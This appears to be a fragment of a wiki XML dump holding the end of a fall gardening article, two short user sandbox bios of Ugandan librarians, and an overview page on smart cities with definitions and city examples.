Water newly planted flowers consistently while they establish their roots. However, always check the soil before watering because requirements vary depending on the plant, weather, and soil type.

Adding a layer of mulch around plants can help retain soil moisture, reduce weeds, and protect roots from temperature changes.

Also, pay attention to sunlight requirements. Most flowering plants perform best when planted in an appropriate location rather than simply being placed wherever there is available space.

== Create a Colorful Fall Garden ==
September gives gardeners an opportunity to transition from summer flowers to a fresh display of cool-season and late-blooming plants. Chrysanthemums, pansies, violas, calendula, sweet alyssum, snapdragons, marigolds, asters, zinnias, and dianthus are all worth considering.

Choose a combination of colors, heights, and flowering times to create a garden that remains attractive throughout the season. With good soil, proper watering, and enough sunlight, your September planting can become the highlight of your fall garden.</text>
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    <title>User:Samah2025/sandbox</title>
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      <comment>Created page with &quot;Samalie Nalukwago is a Ugandan, a librarian, an educationist, and a mentor. She loves empowering girls to be good leaders. she's a climate activist.&quot;</comment>
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      <text bytes="148" sha1="l0fvmq27gpo54nn0wmvorm7z7c0ij65" xml:space="preserve">Samalie Nalukwago is a Ugandan, a librarian, an educationist, and a mentor.
She loves empowering girls to be good leaders.
she's a climate activist.</text>
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    <title>User:Esther49/sandbox</title>
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        <username>Esther49</username>
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      <comment>ativated   user page</comment>
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      <text bytes="116" sha1="o9elcgvl5kjobdma0v52ueqib44nggy" xml:space="preserve">Esther is a female Ugandan Librarian, Political Leader who loves to Advocate for people's rights and Empowers Youth.</text>
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  <page>
    <title>Smart city/Overview of Smart Cities</title>
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      <comment>I made it</comment>
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      <text bytes="4149" sha1="88itd4mx28ifd7fvo7cdssmxlzcvsfs" xml:space="preserve">== Overview ==
A '''smart city''' is an urban area that uses digital technology, data, and connected infrastructure to improve how services are delivered while making the city more livable, efficient, and sustainable. It represents the strategic use of technology and modernized infrastructure to ensure that a city operates more efficiently, sustainably, and remains livable for its residents. Increasingly, the measure of an intelligent city is how effectively technology, infrastructure and public services improve everyday life for residents. By 2050, nearly 70 percent of the world's population will live in urban areas, placing enormous pressure on roads, power grids, and other urban systems, which is why smart city approaches have gained global attention. 

== Definition ==
One well-accepted definition describes a smart city as a city that connects the physical infrastructure, the information-technology infrastructure, the social infrastructure and the business infrastructure to leverage the collective intelligence of the city. More simply, a smart city can be understood as an urban center with technologies that use digital data to deliver better public services and more effective uses of resources. It focuses on efficiency, sustainability, and connectivity through integrated digital solutions.  A smart city leverages advanced technologies and data-driven solutions to manage resources, services, and infrastructure efficiently. 

== Core Concepts ==
A smart city is comprised of several interconnected layers that work together. The Physical Layer includes the hard infrastructure such as roads, pipes, and buildings, but retrofitted with intelligence, involving smart meters for real-time power usage and automated waste collection systems. The Digital Layer acts as the nervous system of the city, consisting of sensors, cameras, and connectivity such as 4G, 5G, and fiber that collect and transmit data.  The Service Layer is where the citizen interacts with the city, including online portals for government services that reduce the need for physical queues, and apps that provide real-time bus locations or allow reporting of broken streetlights.  The Cognitive Layer involves the Integrated Command and Control Centers which are the brains where data from various departments is synthesized to make real-time decisions, such as adjusting traffic signal timings based on current congestion levels. 

Other key characteristics of a smart city include the use of the Internet of Things, big data, and artificial intelligence, which play a significant role in organizing urban infrastructure and managing resources. A smart city consists of six major components including smart governance, smart economy, smart citizens, smart mobility, smart environment, and smart living.  It leverages interconnected devices and intelligent systems to enhance efficiency, promote sustainability, and address complex urban challenges effectively. 

== Examples ==
Singapore's Smart Nation Initiative represents one of the most comprehensive national-level smart city programs, integrating digital technologies across government services, transportation, healthcare, and urban planning. Songdo in the Republic of Korea serves as a purpose-built smart city where autonomous urban systems manage services with minimal human intervention. Valencia in Spain has implemented AI-driven autonomous urban systems for traffic management, public safety, and environmental monitoring. Shenzhen in China has developed autonomous public transportation systems including self-driving buses and smart traffic management. Dubai has launched a self-driving transport strategy aiming to make 25 percent of all trips autonomous by 2030. In India, Guna in Madhya Pradesh is on a journey towards becoming an autonomous city with integrated smart infrastructure. Beijing and Shanghai feature extensive networks of smart traffic lights adjusted based on real-time traffic, electronic toll systems, and AI-powered ride-hailing services. Zurich consistently ranks among the smartest cities in the world for infrastructure, technology, governance and quality of life.</text>
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